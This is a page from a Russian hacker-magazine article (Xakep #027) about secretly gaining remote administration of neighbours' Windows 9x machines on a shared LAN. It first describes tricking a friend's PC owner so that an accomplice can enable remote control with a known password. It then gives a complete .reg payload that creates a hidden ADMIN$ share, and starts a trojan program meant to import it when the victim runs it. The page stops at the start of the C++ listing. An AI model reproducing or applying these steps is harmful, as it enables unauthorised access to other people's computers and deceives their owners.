Администрируем соседов

OZNOB

Xakep, номер #027, стр. 027-050-2


Способ номер один

Расскажу real story. Организовали мы с приятелями локалку. Всем было хорошо, кроме меня, т. к. жутко хотелось нагадить ;). И был в этой сетке один мой знакомый, назовем его, к примеру, Митяй Гепатит Гастритыч. Так вот, оказалась передо мной похожая проблема - как получить доступ? Подумал я и решил заслать к нему шпиона, нашего общего другана.

Перед операцией "Х" боевого товарища я окучил тщательным инструктажем типа "когда будешь на месте:

1) попроси Митю принести водички (ну, или чипсы);

2) когда гоблин убежит за чипсами (кока-колой), быстро лезь в "Панель управления -> Пароли -> Удаленное управление (закладка)";

3) поставь галку и введи пароль "yo" в оба поля;

4) закрой все окошки, тыча в "ОК";

5) прикинься табуреткой". :)

Мой шпион прибежал к Митяю под предлогом поиграть от него в Q, и выполнил возложенную на него миссию. ВСЕ! Mission Accomplished.

Способ номер два

Написать прогу, которая при запуске открывала бы remote control сама. Этот способ имеет ряд плюсов и минусов. Минусы: попытки заставить соседей по локалке запустить твой шедевр могут продлиться довольно долго. Плюсы: не надо ходить к каждому гоблину, чтобы просить попить или пописать; можно сразу качественно замести следы; все очень просто.

Немного теории. Информация о шарах, и в том числе об удаленном управлении содержится в реестре по адресу [HKLM\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\ADMIN$], где ADMIN$ - это имя расшаренного ресурса. В этом разделе содержится информация о пароле, пути (папка Виндоус), параметр "Parm1enc" содержит зашифрованный пароль и т. д. У нас есть два варианта, как этим воспользоваться: использовать в программе функции работы с реестром, что весьма геморройно, или импортировать нужную информацию в реестр из файла. Как настоящие патриоты идем по пути наименьшего сопротивления, т. е. используем второй вариант.

Создаем регистрационный файл с именем "rulez.dat" (расширение может быть любым):

REGEDIT4

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\ADMIN$]

"Flags"=dword:00000302

"Type"=dword:00000000

"Path"="с:\\windows"

"Parm2enc"=hex:

"Parm1enc"=hex:6c,d5

"Remark"=""

Здесь нычется небольшая проблема в указании правильного пути к папке Виндовс, но я знаю - ты настоящий хацкер и сам в состоянии узнать этот путь (кстати, можешь попробовать написать взамен пути - переменную "%windir%", правда, у меня это не работало). В данном случае параметр "Parm1enc" содержит зашифрованный пароль "yo".

Приведу пример листинга на VB и VC (Visual). На VB - потому что это просто, на VC - потому что это клево ;).

Пример на VC:

Создаем win32 проект, далее "A simple Win32 Application", открывам срр-файл:

#include "stdafx.h"

#include "stdio.h"

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)

Назад на стр. 027-050-1  Содержание  Вперед на стр. 027-050-3